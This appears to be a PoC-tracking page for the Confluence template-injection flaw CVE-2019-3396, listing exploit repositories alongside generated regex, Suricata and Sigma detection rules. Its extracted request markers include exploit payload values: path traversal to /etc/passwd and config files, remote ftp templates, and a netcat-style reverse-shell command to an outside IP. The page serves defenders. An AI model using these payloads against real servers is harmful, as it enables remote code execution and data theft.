PoC Monitor
← All CVEs
CVE-2019-3396published 25 Mar 2019 18:37 UTCData: JSON · API

Atlassian Confluence Server

Atlassian Confluence Server and Data Center Server-Side Template Injection Vulnerability

The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.

First public PoC 14 daysafter publication · 9 Apr 2019
Public PoCs1511 on GitHub · 4 Exploit-DB, Metasploit or nuclei
CVSS9.8critical · scored by CISA ADP · CWE-22
CISA KEV 3 Nov 20212.6 years after publication · ransomware use known

Timeline

Days relative to CVE publication
t=0+180+360+540+720+900CVE published25 Mar 2019 · t = 0First public PoC9 Apr 2019 · t+14dAdded to CISA KEV3 Nov 2021 · t+2.6y

First public PoC 14 days after publication; added to CISA KEV 2.6 years after publication. First PoC: x-f1v3/CVE-2019-3396 (created 9 Apr 2019, found by us: backfilled).

PoC repositories

Found on GitHub.

11 PoCs · 1 pending · 14 informational

PoCs 11
RepositoryCreatedStarsAssessment
x-f1v3/CVE-2019-3396 9 Apr 2019 +14 d 22 PoC via PoC Index
Yt1g3r/CVE-2019-3396_EXP 10 Apr 2019 +15 d 174 PoC
jas502n/CVE-2019-3396 10 Apr 2019 +15 d 144 PoC
koamania/confluence_ssrf_malware_cleaner 29 Apr 2019 +35 d 2 PoC
am6539/CVE-2019-3396 21 Nov 2019 +240 d 0 PoC
0xNinjaCyclone/cve-2019-3396 1 Feb 2021 +1.9 y 3 PoC
abdallah-elsharif/cve-2019-3396 1 Feb 2021 +1.9 y 3 PoC
46o60/CVE-2019-3396_Confluence 5 Feb 2021 +1.9 y 0 PoC
PetrusViet/cve-2019-3396 1 May 2021 +2.1 y 2 PoC via PoC Index
Avento/CVE-2019-3396-Memshell-for-Behinder 21 May 2024 +5.2 y 2 PoC via PoC Index
kh4sh3i/CVE-2019-3396 16 Sep 2025 +6.5 y 0 PoC
Pending 1
RepositoryCreatedStarsAssessment
HK4zCzi/CVE-2019-3396-Velocity-Server-Side-Template-Injection unknown 0 Pending · repository unavailable (HTTP 404)
Informational 14
RepositoryCreatedStarsAssessment
dothanthitiendiettiende/CVE-2019-3396 9 Apr 2019 +14 d 0 Informational · write-up
xiaoshuier/CVE-2019-3396 9 Apr 2019 +15 d 0 Informational · write-up
pyn3rd/CVE-2019-3396 10 Apr 2019 +15 d 39 Informational · write-up
s1xg0d/CVE-2019-3396 10 Apr 2019 +16 d 0 Informational · write-up
quanpt103/CVE-2019-3396 10 Apr 2019 +16 d 0 Informational · write-up
vntest11/confluence_CVE-2019-3396 28 Apr 2019 +33 d 0 Informational · write-up
tanw923/test1 1 Jul 2019 +98 d 0 Informational · write-up
skommando/CVE-2019-3396-confluence-poc 21 Aug 2019 +148 d 0 Informational · write-up
JonathanZhou348/CVE-2019-3396TEST 28 Oct 2019 +217 d 0 Informational · write-up
W2Ning/CVE-2019-3396 12 Dec 2019 +262 d 0 Informational · write-up
yuehanked/cve-2019-3396 17 Nov 2020 +1.6 y 0 Informational · write-up
Flags · score 30
  • owner account created less than 7 days before the repo

Below the suspicion threshold (50); does not change the assessment.

tranphuc2005/CVE-2019-3396 30 Aug 2025 +6.4 y 0 Informational · write-up
tranphuc2005/NTCS_baocao03 30 Aug 2025 +6.4 y 0 Informational · write-up
tno01/cve-2019-3396 30 Sep 2025 +6.5 y 0 Informational · write-up

Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.

PoC characteristics

What to hunt for in your logs · from 11 PoC repos

POST /rest/tinymce/1/macro/preview

Key headers
Accept: text/plain, */*; q=0.01 Accept: */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Cookie: seraph.confluence=; JSESSIONID= Referer: {var}/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23& Referer: http://10.10.20.181/ Referer: {var}/pages/resumedraft.action?draftId=1&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23& Referer: http://x.x.x.x/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23& X-Forwarded-For: 127.0.0.2 X-Requested-With: XMLHttpRequest
Body markers
"contentId":"622594" "macro" "name":"widget" "body" "params" "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic" "width":"10" "height":"10" "_template":"https://pastebin.com/raw/JPEpiuLG" "contentId":"1507329" "_template":"/../../WEB-INF/classes/confluence-init.properties" "width":"11" "height":"11" "_template" "contentId":"12345" "url":"https://www.viddler.com/v/23464dc5" "width":"1000" "height":"1000" "contentId":"1" "url":"https://www.viddler.com/v/test" "_template":"file:///etc/passwd" "_template":"ftp://10.10.20.166:8886/r.vm" "command":"ifconfig" "_template":"ftp://10.10.20.166:8888/r.vm" "command":"setsid python /tmp/nc.py 10.10.20.166 8989" "command" "_template":"ftp://***:8888/cmd.vm" "command":"id" "contentId":"786457" "_template":"https://raw.githubusercontent.com/x-f1v3/CVE-2019-3396/master/1.vm" "_template":"../web.xml" in application/json; charset=utf-8
Ports
8080, 8090
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Seen in
5 repos: PetrusViet/cve-2019-3396, Yt1g3r/CVE-2019-3396_EXP, jas502n/CVE-2019-3396, kh4sh3i/CVE-2019-3396, x-f1v3/CVE-2019-3396
Evidence
PetrusViet/cve-2019-3396/README.md:172 PetrusViet/cve-2019-3396/README.md:268 PetrusViet/cve-2019-3396/README.md:287 Yt1g3r/CVE-2019-3396_EXP/RCE_exp.py:25 Yt1g3r/CVE-2019-3396_EXP/RCE_exp.py:45 jas502n/CVE-2019-3396/README.md:10

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

POST /rest/tinymce/1/macro/preview
(?i)^/rest/tinymce/1/macro/preview(?:[?#].*)?$

Suricata

Template generated from PoC characteristics. Review before deploying.

POST /rest/tinymce/1/macro/preview
alert http any any -> $HOME_NET [8080,8090] (msg:"GG PoC-Monitor CVE-2019-3396 Atlassian Confluence Server exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/rest/tinymce/1/macro/preview"; http.header; content:"Accept: text/plain, */*|3b| q=0.01"; nocase; http.header; content:"Accept: */*"; nocase; http.header; content:"Accept-Language: zh-CN,zh|3b|q=0.8,en-US|3b|q=0.5,en|3b|q=0.3"; nocase; http.header; content:"Cookie: seraph.confluence=|3b| JSESSIONID="; nocase; http.header_names; content:"Referer"; nocase; http.header; content:"Referer: http://10.10.20.181/"; nocase; http.header_names; content:"Referer"; nocase; http.header; content:"Referer: http://x.x.x.x/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&"; nocase; http.header; content:"X-Forwarded-For: 127.0.0.2"; nocase; http.header; content:"X-Requested-With: XMLHttpRequest"; nocase; http.request_body; content:"|22|contentId|22|:|22|622594|22|"; http.request_body; content:"|22|macro|22|"; http.request_body; content:"|22|name|22|:|22|widget|22|"; http.request_body; content:"|22|body|22|"; http.request_body; content:"|22|params|22|"; http.request_body; content:"|22|url|22|:|22|https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic|22|"; http.request_body; content:"|22|width|22|:|22|10|22|"; http.request_body; content:"|22|height|22|:|22|10|22|"; http.request_body; content:"|22|_template|22|:|22|https://pastebin.com/raw/JPEpiuLG|22|"; http.request_body; content:"|22|contentId|22|:|22|1507329|22|"; http.request_body; content:"|22|_template|22|:|22|/../../WEB-INF/classes/confluence-init.properties|22|"; http.request_body; content:"|22|width|22|:|22|11|22|"; http.request_body; content:"|22|height|22|:|22|11|22|"; http.request_body; content:"|22|_template|22|"; http.request_body; content:"|22|contentId|22|:|22|12345|22|"; http.request_body; content:"|22|url|22|:|22|https://www.viddler.com/v/23464dc5|22|"; http.request_body; content:"|22|width|22|:|22|1000|22|"; http.request_body; content:"|22|height|22|:|22|1000|22|"; http.request_body; content:"|22|contentId|22|:|22|1|22|"; http.request_body; content:"|22|url|22|:|22|https://www.viddler.com/v/test|22|"; http.request_body; content:"|22|_template|22|:|22|file:///etc/passwd|22|"; http.request_body; content:"|22|_template|22|:|22|ftp://10.10.20.166:8886/r.vm|22|"; http.request_body; content:"|22|command|22|:|22|ifconfig|22|"; http.request_body; content:"|22|_template|22|:|22|ftp://10.10.20.166:8888/r.vm|22|"; http.request_body; content:"|22|command|22|:|22|setsid python /tmp/nc.py 10.10.20.166 8989|22|"; http.request_body; content:"|22|command|22|"; http.request_body; content:"|22|_template|22|:|22|ftp://***:8888/cmd.vm|22|"; http.request_body; content:"|22|command|22|:|22|id|22|"; http.request_body; content:"|22|contentId|22|:|22|786457|22|"; http.request_body; content:"|22|_template|22|:|22|https://raw.githubusercontent.com/x-f1v3/CVE-2019-3396/master/1.vm|22|"; http.request_body; content:"|22|_template|22|:|22|../web.xml|22|"; reference:url,poc.griffinguard.io/cve/CVE-2019-3396; classtype:web-application-attack; sid:9690207; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

POST /rest/tinymce/1/macro/preview
title: Atlassian Confluence Server exploit attempt (CVE-2019-3396)
id: gg-pocmon-cve-2019-3396-9690207
status: experimental
description: Request pattern taken from public PoCs for CVE-2019-3396. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2019-3396
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/rest/tinymce/1/macro/preview'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2019.3396